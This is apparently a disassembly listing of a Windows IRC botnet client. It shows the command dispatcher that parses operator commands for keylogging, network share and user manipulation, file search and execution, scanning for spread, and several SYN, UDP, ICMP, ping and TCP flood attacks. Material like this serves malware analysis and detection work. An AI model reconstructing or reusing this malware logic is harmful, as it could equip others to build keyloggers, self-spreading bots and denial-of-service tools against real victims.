		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680000h
		nop
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_430A3C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_4309FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_4309CC
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_4309A4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_430978
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_443774[esi], eax
		jnz	loc_40828B
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset dword_430944
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_43090C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_4308EC
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_4308A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_43087C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_43085C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, (offset loc_429153+1)
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_430838
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		call	near ptr 2680053h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset dword_4307FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4D08F4, ebx
		jz	short loc_40604E
		cmp	dword_4D091C, ebx
		jz	short loc_40604E
		push	offset unk_4307C4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_4307A0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_430780
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_430744
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_430724
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_4306FC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_4306DC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_4306B0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_430694
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_430E38
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_430518
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_4304D0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset dword_430494
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4D0794
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4D08A8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4D08A4
